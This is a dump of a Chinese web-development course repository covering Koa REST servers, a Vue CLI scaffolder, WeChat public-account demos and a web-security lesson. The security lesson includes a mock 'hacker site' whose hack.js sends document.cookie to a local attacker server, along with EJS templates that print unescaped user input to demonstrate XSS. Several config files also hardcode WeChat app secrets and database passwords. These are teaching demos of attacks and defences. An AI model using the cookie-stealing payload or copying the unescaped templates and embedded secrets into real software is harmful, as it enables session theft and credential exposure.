https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/Typescript_Plumbing_image.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/VueJS_Final.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/VueJS_Final.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/VuePwa.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/VuePwa.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/github.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/github.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/course/react-context.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/course/react-context.png
--------------------------------------------------------------------------------
/node/10/taro-node/server/static/fire.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/node/10/taro-node/server/static/fire.png
--------------------------------------------------------------------------------
/pattern/rest/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | db: {
3 | url:"mongodb://localhost:27017/test",
4 | options: { useNewUrlParser: true }
5 | }
6 | }
--------------------------------------------------------------------------------
/pattern/rest/framework/router.js:
--------------------------------------------------------------------------------
1 | const router = require('koa-router')()
2 |
3 | const {
4 | init, get, create, update, del,
5 | } = require('./api')
6 |
7 | router.get('/api/:list', init, get)
8 | router.post('/api/:list', init, create)
9 | router.put('/api/:list/:id', init, update)
10 | router.delete('/api/:list/:id', init, del)
11 |
12 | module.exports = router.routes()
--------------------------------------------------------------------------------
/pattern/rest/index.js:
--------------------------------------------------------------------------------
1 | const Koa = require('koa')
2 | const app = new Koa()
3 |
4 | // 初始化数据库
5 | const config = require('./conf')
6 | const {loadModel} = require('./framework/loader')
7 | loadModel(config)(app)
8 |
9 | const bodyParser = require('koa-bodyparser')
10 | app.use(bodyParser())
11 | const rest = require('./framework/router')
12 | app.use(rest)
13 |
14 |
15 |
16 | const port = 3000
17 | app.listen(port ,() => {
18 | console.log(`app start at port ${port} ...`)
19 | })
--------------------------------------------------------------------------------
/pattern/rest/model/user.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | schema: {
3 | mobile: { type: String, required: true },
4 | realName: { type: String, required: true },
5 | }
6 | }
--------------------------------------------------------------------------------
/pattern/rest/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "rest",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "keywords": [],
10 | "author": "",
11 | "license": "ISC",
12 | "dependencies": {
13 | "koa": "^2.8.1",
14 | "koa-bodyparser": "^4.2.1",
15 | "koa-router": "^7.4.0",
16 | "mongoose": "^5.6.9"
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/pattern/vue-auto-router-cli/bin/kkb:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env node
2 |
3 | const program = require('commander')
4 | program.version(require('../package').version, '-v', '--version')
5 | .command('init ', 'init project')
6 | .command('refresh', 'refresh routers....')
7 | program.parse(process.argv)
--------------------------------------------------------------------------------
/pattern/vue-auto-router-cli/bin/kkb-init:
--------------------------------------------------------------------------------
1 | #! /usr/bin/env node
2 |
3 | const program = require('commander')
4 | program.action(async name => {
5 | const {
6 | clone
7 | } = require('../lib/download')
8 | console.log('🚀创建项目: ' + name)
9 | await clone('github:su37josephxia/vue-template', name)
10 | })
11 | program.parse(process.argv)
--------------------------------------------------------------------------------
/pattern/vue-auto-router-cli/lib/download.js:
--------------------------------------------------------------------------------
1 | const {promisify} = require('util')
2 | module.exports.clone = async function(repo,desc){
3 | const download = promisify(require('download-git-repo'))
4 | const ora = require('ora')
5 | const process = ora(`正在下载....${repo}`)
6 | process.start()
7 | await download(repo,desc)
8 | process.succeed()
9 | }
--------------------------------------------------------------------------------
/pattern/vue-auto-router-cli/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "vue-auto-router-cli",
3 | "version": "1.0.8",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "bin": {
10 | "kkb": "./bin/kkb"
11 | },
12 | "keywords": [],
13 | "author": "",
14 | "license": "ISC",
15 | "dependencies": {
16 | "commander": "^3.0.0",
17 | "download-git-repo": "^2.0.0",
18 | "handlebars": "^4.1.2",
19 | "ora": "^3.4.0"
20 | }
21 | }
22 |
--------------------------------------------------------------------------------
/pattern/vue-auto-router-cli/publish.sh:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env bash
2 | npm config get registry # 检查仓库镜像库
3 | npm config set registry=http://registry.npmjs.org
4 | echo '请进行登录相关操作:'
5 | npm login # 登陆
6 | echo "-------publishing-------"
7 | npm publish # 发布
8 | npm config set registry=https://registry.npm.taobao.org # 设置为淘宝镜像
9 | echo "发布完成"
10 | exit
--------------------------------------------------------------------------------
/security/01/app/batch.js:
--------------------------------------------------------------------------------
1 |
2 | (async () => {
3 | const query = require('./db')
4 | const encryptPassword = require('./password')
5 | let sql = `
6 | SELECT *
7 | FROM test.user
8 | `
9 | const res = await query(sql)
10 | const saltDb = async record => {
11 | sql = `
12 | update test.user
13 | set salt = ? ,
14 | password = ?
15 | where username = ?
16 | `
17 | const salt = Math.random() * 999999 + '' + new Date().getTime()
18 | console.log('salt:', salt)
19 | console.log('username:', record.username)
20 | await query(sql, [salt, encryptPassword(salt, record.password), record.username])
21 |
22 | }
23 | res.forEach(v => saltDb(v))
24 | console.log('end',res)
25 | })()
26 |
27 |
--------------------------------------------------------------------------------
/security/01/app/config.js:
--------------------------------------------------------------------------------
1 | modeule.export = {
2 | user: "root",
3 | password: 'example',
4 | database: 'test',
5 | host: 'localhost',
6 | port: 3306
7 |
8 | }
--------------------------------------------------------------------------------
/security/01/app/db.js:
--------------------------------------------------------------------------------
1 | const mysql = require('mysql')
2 | const pool = mysql.createPool({
3 | host: '127.0.0.1',
4 | user: 'root',
5 | password: 'example',
6 | database: 'mysql'
7 | })
8 |
9 | module.exports = function (sql, values) {
10 | // 返回一个 Promise
11 | return new Promise((resolve, reject) => {
12 | pool.getConnection(function (err, connection) {
13 | if (err) {
14 | reject(err)
15 | } else {
16 | connection.query(sql, values, (err, rows) => {
17 | if (err) {
18 | reject(err)
19 | } else {
20 | resolve(rows)
21 | }
22 | // 结束会话
23 | connection.release()
24 | })
25 | }
26 | })
27 | })
28 | }
29 |
--------------------------------------------------------------------------------
/security/01/app/hack-app.js:
--------------------------------------------------------------------------------
1 | const koa = require('koa');
2 | const chalk = require('chalk')
3 | const log = contents => {
4 | console.log(chalk.red(contents))
5 | }
6 |
7 | // 模拟黑客网站
8 | const app = new koa();
9 | const static = require('koa-static')
10 | app.use(static(__dirname + '/views'))
11 |
12 | app.use(async (ctx, next) => {
13 | log('Hack...:'+ctx.url)
14 | await next()
15 | })
16 |
17 |
18 | module.exports = app
--------------------------------------------------------------------------------
/security/01/app/password.js:
--------------------------------------------------------------------------------
1 | const crypto = require('crypto')
2 | const hash = (type, str) => crypto.createHash(type).update(str).digest('hex')
3 | const md5 = str => hash('md5',str)
4 | const sha1 = str => hash('sha1',str)
5 | const encryptPassword = (salt, password) => md5(salt + 'abced@#4@%#$7' + password)
6 | const psw = '11111'
7 | console.log('md5', md5(psw))
8 | console.log('sha1', sha1(psw))
9 | module.exports = encryptPassword
10 |
11 |
--------------------------------------------------------------------------------
/security/01/app/views/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | 欢迎来自 <%-from%>!!!
9 | 用户名 <%-username%>!!!
10 | 评论 <%-text%>!!!
11 | <% if (username) { %>
12 |
17 | <% } else {%>
18 | 去登陆
19 | <% } %>
20 |
21 |
28 |
--------------------------------------------------------------------------------
/security/01/app/views/login.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | 用户登录
9 |
14 |
15 |
--------------------------------------------------------------------------------
/security/01/hack/app.js:
--------------------------------------------------------------------------------
1 | const koa = require('koa');
2 | const chalk = require('chalk')
3 | const log = contents => {
4 | console.log(chalk.red(contents))
5 | }
6 |
7 | // 模拟黑客网站
8 | const app = new koa();
9 | const static = require('koa-static')
10 | app.use(static(__dirname + '/views'))
11 |
12 | app.use(async (ctx, next) => {
13 | log('Hack...:' + ctx.url)
14 | await next()
15 | })
16 |
17 |
18 | module.exports = app
--------------------------------------------------------------------------------
/security/01/hack/views/clickjacking.html:
--------------------------------------------------------------------------------
1 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/security/01/hack/views/csrf.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | CSRF模拟攻击
9 |
23 |
24 |
--------------------------------------------------------------------------------
/security/01/hack/views/hack.js:
--------------------------------------------------------------------------------
1 | var img = new Image()
2 | img.src='http://localhost:4000/img?c='+document.cookie
3 |
4 |
--------------------------------------------------------------------------------
/security/01/hack/views/pic.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/security/01/hack/views/pic.jpg
--------------------------------------------------------------------------------
/security/01/index.js:
--------------------------------------------------------------------------------
1 |
2 | const app = require('./app/app')
3 | const hack = require('./hack/app')
4 | const chalk = require('chalk')
5 |
6 | app.listen(3000, () => {
7 | console.log('正常网站启动成功:'+3000);
8 | });
9 | hack.listen(4000, () => {
10 | console.log(chalk.red('黑客网站启动成功:'+4000));
11 | });
--------------------------------------------------------------------------------
/security/02/captcha/bg.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/security/02/captcha/bg.jpg
--------------------------------------------------------------------------------
/security/02/captcha/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 | Document
8 |
9 |
10 |
11 |
12 |
13 |
14 |
20 |
--------------------------------------------------------------------------------
/security/02/nginx/conf.d/www.josephxia.com.conf:
--------------------------------------------------------------------------------
1 | server {
2 | listen 80;
3 | server_name www.josephxia.com;
4 | # location / {
5 | # root /var/www/html;
6 | # index index.html index.htm;
7 | # }
8 | location = / {
9 | rewrite ^(.*) https://www.josephxia.com/$1 permanent;
10 | }
11 | }
12 | server {
13 | listen 443;
14 | server_name localhost;
15 | ssl on;
16 | root html;
17 | index index.html index.htm;
18 | ssl_certificate conf.d/cert/www.josephxia.com.pem;
19 | ssl_certificate_key conf.d/cert/www.josephxia.com.key;
20 | ssl_session_timeout 5m;
21 | ssl_ciphers ECDHE-RSA-AES128-GCM-SHA256:ECDHE:ECDH:AES:HIGH:!NULL:!aNULL:!MD5:!ADH:!RC4;
22 | ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
23 | ssl_prefer_server_ciphers on;
24 | location / {
25 | root /var/www/html;
26 | index index.html index.htm;
27 | }
28 | }
--------------------------------------------------------------------------------
/security/02/nginx/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | # db:
4 | # image: mysql
5 | # command: --default-authentication-plugin=mysql_native_password
6 | # restart: always
7 | # environment:
8 | # MYSQL_ROOT_PASSWORD: example
9 | # ports:
10 | # - 3306:3306
11 | # adminer:
12 | # image: adminer
13 | # restart: always
14 | # ports:
15 | # - 8080:8080
16 | nginx:
17 | restart: always
18 | image: nginx
19 | ports:
20 | - 80:80
21 | - 443:443
22 | volumes:
23 | - ./conf.d/:/etc/nginx/conf.d
24 | - ./html/:/var/www/html/
--------------------------------------------------------------------------------
/security/02/nginx/html/index.html:
--------------------------------------------------------------------------------
1 | Https Test kaikeba666
2 |
--------------------------------------------------------------------------------
/security/02/sample-server/app/batch.js:
--------------------------------------------------------------------------------
1 |
2 | (async () => {
3 | const query = require('./db')
4 | const encryptPassword = require('./password')
5 | let sql = `
6 | SELECT *
7 | FROM test.user
8 | `
9 | const res = await query(sql)
10 | const saltDb = async record => {
11 | sql = `
12 | update test.user
13 | set salt = ? ,
14 | password = ?
15 | where username = ?
16 | `
17 | const salt = Math.random() * 999999 + '' + new Date().getTime()
18 | console.log('salt:', salt)
19 | console.log('username:', record.username)
20 | await query(sql, [salt, encryptPassword(salt, record.password), record.username])
21 |
22 | }
23 | res.forEach(v => saltDb(v))
24 | console.log('end',res)
25 | })()
26 |
27 |
--------------------------------------------------------------------------------
/security/02/sample-server/app/config.js:
--------------------------------------------------------------------------------
1 | modeule.export = {
2 | user: "root",
3 | password: 'example',
4 | database: 'test',
5 | host: 'localhost',
6 | port: 3306
7 |
8 | }
--------------------------------------------------------------------------------
/security/02/sample-server/app/db.js:
--------------------------------------------------------------------------------
1 | const mysql = require('mysql')
2 | const pool = mysql.createPool({
3 | host: '127.0.0.1',
4 | user: 'root',
5 | password: 'example',
6 | database: 'mysql'
7 | })
8 |
9 | module.exports = function (sql, values) {
10 | // 返回一个 Promise
11 | return new Promise((resolve, reject) => {
12 | pool.getConnection(function (err, connection) {
13 | if (err) {
14 | reject(err)
15 | } else {
16 | connection.query(sql, values, (err, rows) => {
17 | if (err) {
18 | reject(err)
19 | } else {
20 | resolve(rows)
21 | }
22 | // 结束会话
23 | connection.release()
24 | })
25 | }
26 | })
27 | })
28 | }
29 |
--------------------------------------------------------------------------------
/security/02/sample-server/app/hack-app.js:
--------------------------------------------------------------------------------
1 | const koa = require('koa');
2 | const chalk = require('chalk')
3 | const log = contents => {
4 | console.log(chalk.red(contents))
5 | }
6 |
7 | // 模拟黑客网站
8 | const app = new koa();
9 | const static = require('koa-static')
10 | app.use(static(__dirname + '/views'))
11 |
12 | app.use(async (ctx, next) => {
13 | log('Hack...:'+ctx.url)
14 | await next()
15 | })
16 |
17 |
18 | module.exports = app
--------------------------------------------------------------------------------
/security/02/sample-server/app/password.js:
--------------------------------------------------------------------------------
1 | const crypto = require('crypto')
2 | const hash = (type,str) => crypto.createHash(type).update(str).digest('hex')
3 | const md5 = str => hash('md5',str)
4 | const sha1 = str => hash('sha1',str)
5 | const encryptPassword = (salt,password) => md5(salt + 'asdbe!@#@432' + password)
6 | const psw = '111111'
7 | // console.log('md5',md5(psw))
8 | // console.log('sha1',sha1(psw))
9 | // console.log('encryptPssword',encryptPassword(psw))
10 | module.exports = encryptPassword
--------------------------------------------------------------------------------
/security/02/sample-server/app/views/index.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | 欢迎来自 <%-from%>!!!
9 | 用户名 <%-username%>!!!
10 | 评论 <%-text%>!!!
11 | <% if (username) { %>
12 |
17 | <% } else {%>
18 | 去登陆
19 | <% } %>
20 |
21 |
28 |
--------------------------------------------------------------------------------
/security/02/sample-server/app/views/login.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | 用户登录
9 |
14 |
15 |
--------------------------------------------------------------------------------
/security/02/sample-server/hack/app.js:
--------------------------------------------------------------------------------
1 | const koa = require('koa');
2 | const chalk = require('chalk')
3 | const log = contents => {
4 | console.log(chalk.red(contents))
5 | }
6 |
7 | // 模拟黑客网站
8 | const app = new koa();
9 | const static = require('koa-static')
10 | app.use(static(__dirname + '/views'))
11 |
12 | app.use(async (ctx, next) => {
13 | log('Hack...:' + ctx.url)
14 | await next()
15 | })
16 |
17 |
18 | module.exports = app
--------------------------------------------------------------------------------
/security/02/sample-server/hack/views/clickjacking.html:
--------------------------------------------------------------------------------
1 |
21 |
22 |
23 |
--------------------------------------------------------------------------------
/security/02/sample-server/hack/views/csrf.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | CSRF模拟攻击
9 |
23 |
24 |
--------------------------------------------------------------------------------
/security/02/sample-server/hack/views/hack.js:
--------------------------------------------------------------------------------
1 | var img = new Image()
2 | img.src='http://localhost:4000/img?c='+document.cookie
3 |
4 |
--------------------------------------------------------------------------------
/security/02/sample-server/hack/views/pic.jpg:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/security/02/sample-server/hack/views/pic.jpg
--------------------------------------------------------------------------------
/security/02/sample-server/index.js:
--------------------------------------------------------------------------------
1 |
2 | const app = require('./app/app')
3 | const hack = require('./hack/app')
4 | const chalk = require('chalk')
5 |
6 | app.listen(3000, () => {
7 | console.log('正常网站启动成功:'+3000);
8 | });
9 | hack.listen(4000, () => {
10 | console.log(chalk.red('黑客网站启动成功:'+4000));
11 | });
--------------------------------------------------------------------------------
/security/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3.1'
2 | services:
3 | db:
4 | image: mysql
5 | command: --default-authentication-plugin=mysql_native_password
6 | restart: always
7 | environment:
8 | MYSQL_ROOT_PASSWORD: example
9 | ports:
10 | - 3306:3306
11 | adminer:
12 | image: adminer
13 | restart: always
14 | ports:
15 | - 8080:8080
--------------------------------------------------------------------------------
/weixin/01/api/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | appid:'wxfc60e88fa8622c69',
3 | appsecret:'23c57e17b4073db7d03cca2ebac525ae',
4 | token:'kaikeba'
5 | }
--------------------------------------------------------------------------------
/weixin/01/api/mongoose.js:
--------------------------------------------------------------------------------
1 | const mongoose = require('mongoose')
2 | const {
3 | Schema
4 | } = mongoose
5 | mongoose.connect('mongodb://localhost:27017/weixin', {
6 | useNewUrlParser: true
7 | }, () => {
8 | console.log('Mongodb connected..')
9 | })
10 | exports.ServerToken = mongoose.model('ServerToken', {
11 | accessToken: String
12 | });
--------------------------------------------------------------------------------
/weixin/01/seed/index.js:
--------------------------------------------------------------------------------
1 | const Koa = require('koa')
2 | const Router = require('koa-router')
3 | const static = require('koa-static')
4 | const bodyParser = require('koa-bodyparser');
5 | const app = new Koa()
6 | app.use(bodyParser())
7 | const router = new Router()
8 | app.use(static(__dirname + '/'))
9 |
10 | app.use(router.routes()); /*启动路由*/
11 | app.use(router.allowedMethods());
12 | app.listen(3000);
--------------------------------------------------------------------------------
/weixin/01/vote/conf.js:
--------------------------------------------------------------------------------
1 | module.exports =
2 | process.env.NODE_ENV === 'production' ?
3 | {
4 | appid: 'wx3a1a04af59190548',
5 | appsecret: 'b6253908f8c3c56fcad2359978c0f69a',
6 | token: 'kaikeba',
7 | encodingAESKey: 'EnWTNZiEz0LmBG3fyuPiTnyQx3MNBMyTBkFl6JbHlW4',
8 | port: 3000,
9 | }
10 | :
11 | {
12 | appid: 'wxfc60e88fa8622c69',
13 | appsecret: '23c57e17b4073db7d03cca2ebac525ae',
14 | token: 'kaikeba',
15 | port: 3000,
16 | }
17 | ;
--------------------------------------------------------------------------------
/weixin/01/vote/db.js:
--------------------------------------------------------------------------------
1 |
2 | // mongoose
3 | const mongoose = require('mongoose')
4 | mongoose.connect('mongodb://localhost:27017/weixin')
5 |
6 | exports.AccessToken = mongoose.model('AccessToken', { token: String });
7 |
8 | exports.Chat = mongoose.model('Chat', { content: String });
9 |
--------------------------------------------------------------------------------
/weixin/01/vote/process.yml:
--------------------------------------------------------------------------------
1 | apps:
2 | - script : server.js
3 | instances: 1
4 | watch : true
5 | env :
6 | NODE_ENV: production
--------------------------------------------------------------------------------
/weixin/01/wx/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | appid: 'wxfc60e88fa8622c69',
3 | appsecret: '23c57e17b4073db7d03cca2ebac525ae',
4 | token: 'kaikeba',
5 | };
--------------------------------------------------------------------------------
/weixin/01/wx/mongoose.js:
--------------------------------------------------------------------------------
1 | const mongoose = require('mongoose')
2 | const {
3 | Schema
4 | } = mongoose
5 | mongoose.connect('mongodb://localhost:27017/weixin', {
6 | useNewUrlParser: true
7 | }, () => {
8 | console.log('Mongodb connected..')
9 | })
10 | exports.ServerToken = mongoose.model('ServerToken', {
11 | accessToken: String
12 | });
--------------------------------------------------------------------------------
/weixin/02/cube-ui/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | node_modules
3 | /dist
4 |
5 | # local env files
6 | .env.local
7 | .env.*.local
8 |
9 | # Log files
10 | npm-debug.log*
11 | yarn-debug.log*
12 | yarn-error.log*
13 |
14 | # Editor directories and files
15 | .idea
16 | .vscode
17 | *.suo
18 | *.ntvs*
19 | *.njsproj
20 | *.sln
21 | *.sw*
22 |
--------------------------------------------------------------------------------
/weixin/02/cube-ui/README.md:
--------------------------------------------------------------------------------
1 | # cube-ui
2 |
3 | ## Project setup
4 | ```
5 | npm install
6 | ```
7 |
8 | ### Compiles and hot-reloads for development
9 | ```
10 | npm run serve
11 | ```
12 |
13 | ### Compiles and minifies for production
14 | ```
15 | npm run build
16 | ```
17 |
18 | ### Run your tests
19 | ```
20 | npm run test
21 | ```
22 |
23 | ### Lints and fixes files
24 | ```
25 | npm run lint
26 | ```
27 |
28 | ### Customize configuration
29 | See [Configuration Reference](https://cli.vuejs.org/config/).
30 |
--------------------------------------------------------------------------------
/weixin/02/cube-ui/babel.config.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | presets: [
3 | '@vue/app'
4 | ]
5 | }
6 |
--------------------------------------------------------------------------------
/weixin/02/cube-ui/public/favicon.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/weixin/02/cube-ui/public/favicon.ico
--------------------------------------------------------------------------------
/weixin/02/cube-ui/public/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 | cube-ui
9 |
10 |
11 |
14 |
15 |
16 |
17 |
18 |
--------------------------------------------------------------------------------
/weixin/02/cube-ui/src/App.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
20 |
21 |
35 |
--------------------------------------------------------------------------------
/weixin/02/cube-ui/src/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/weixin/02/cube-ui/src/assets/logo.png
--------------------------------------------------------------------------------
/weixin/02/cube-ui/src/components/data.js:
--------------------------------------------------------------------------------
1 | export default [
2 | {
3 | question: '问题一:函数的扩展中,关于rest参数的描述,正确的是',
4 | result: '',
5 | answer: 0,
6 | options: [
7 | 'A、获取函数剩下部分的参数',
8 | 'B、rest参数不可以是函数的最后一个参数',
9 | 'C、获取函数的第一个参数',
10 | 'D、一个名叫rest的参数'
11 | ]
12 | },
13 | {
14 | question: '问题二:关于Symbol,错误的说法是',
15 | result: '',
16 | answer: 0,
17 | options: [
18 | 'A、是ES6新增的一种数据类型',
19 | 'B、Symbol() === Symbol() 结果为false',
20 | `C、Symbol('same') === Symbol('same') 结果为true`,
21 | 'D、当symbol值作为对象的属性名的时候,不能用点运算符获取对应的值。'
22 | ]
23 | }
24 | ]
--------------------------------------------------------------------------------
/weixin/02/cube-ui/src/main.js:
--------------------------------------------------------------------------------
1 | import Vue from 'vue'
2 | import './cube-ui'
3 | import App from './App.vue'
4 | import 'amfe-flexible'
5 |
6 | Vue.config.productionTip = false
7 |
8 | new Vue({
9 | render: h => h(App),
10 | }).$mount('#app')
11 |
--------------------------------------------------------------------------------
/weixin/02/quiz/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | appid: 'wxfc60e88fa8622c69',
3 | appsecret: '23c57e17b4073db7d03cca2ebac525ae',
4 | token: 'kaikeba',
5 | port: 3000,
6 | // 可选,默认为true。由于微信公众平台接口调试工具在明文模式下不发送签名,所以如要使用该测试工具,请将其设置为false
7 | checkSignature: false ,
8 | baseUrl:'http://josephxia.free.idcfengye.com',
9 | };
--------------------------------------------------------------------------------
/weixin/02/quiz/data.js:
--------------------------------------------------------------------------------
1 | module.exports = [{
2 | question: '问题一:函数的扩展中,关于rest参数的描述,正确的是',
3 | result: '',
4 | answer: 0,
5 | options: [
6 | 'A、获取函数剩下部分的参数',
7 | 'B、rest参数不可以是函数的最后一个参数',
8 | 'C、获取函数的第一个参数',
9 | 'D、一个名叫rest的参数'
10 | ]
11 | },
12 | {
13 | question: '问题二:关于Symbol,错误的说法是',
14 | result: '',
15 | answer: 2,
16 | options: [
17 | 'A、是ES6新增的一种数据类型',
18 | 'B、Symbol() === Symbol() 结果为false',
19 | `C、Symbol('same') === Symbol('same') 结果为true`,
20 | 'D、当symbol值作为对象的属性名的时候,不能用点运算符获取对应的值。'
21 | ]
22 | },
23 | {
24 | question: '问题三:关于Symbol,错误的说法是',
25 | result: '',
26 | answer: 3,
27 | options: [
28 | 'A、是ES6新增的一种数据类型',
29 | 'B、Symbol() === Symbol() 结果为false',
30 | `C、Symbol('same') === Symbol('same') 结果为true`,
31 | 'D、当symbol值作为对象的属性名的时候,不能用点运算符获取对应的值。'
32 | ]
33 | }
34 |
35 | ]
--------------------------------------------------------------------------------
/weixin/02/wx/conf.js:
--------------------------------------------------------------------------------
1 | module.exports = {
2 | appid:'wxfc60e88fa8622c69',
3 | appsecret:'23c57e17b4073db7d03cca2ebac525ae',
4 | token:'kaikeba'
5 | }
--------------------------------------------------------------------------------
/weixin/bin/ngrok:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/weixin/bin/ngrok
--------------------------------------------------------------------------------
/weixin/bin/sunny:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/su37josephxia/kaikeba-code/9d386f8ee6d95c074f8614ff930d5463c231faf3/weixin/bin/sunny
--------------------------------------------------------------------------------
/weixin/seed/index.js:
--------------------------------------------------------------------------------
1 | const Koa = require('koa')
2 | const Router = require('koa-router')
3 | const static = require('koa-static')
4 | const bodyParser = require('koa-bodyparser');
5 | const app = new Koa()
6 | app.use(bodyParser())
7 | const router = new Router()
8 | app.use(static(__dirname + '/'))
9 |
10 | app.use(router.routes()); /*启动路由*/
11 | app.use(router.allowedMethods());
12 | app.listen(3000);
--------------------------------------------------------------------------------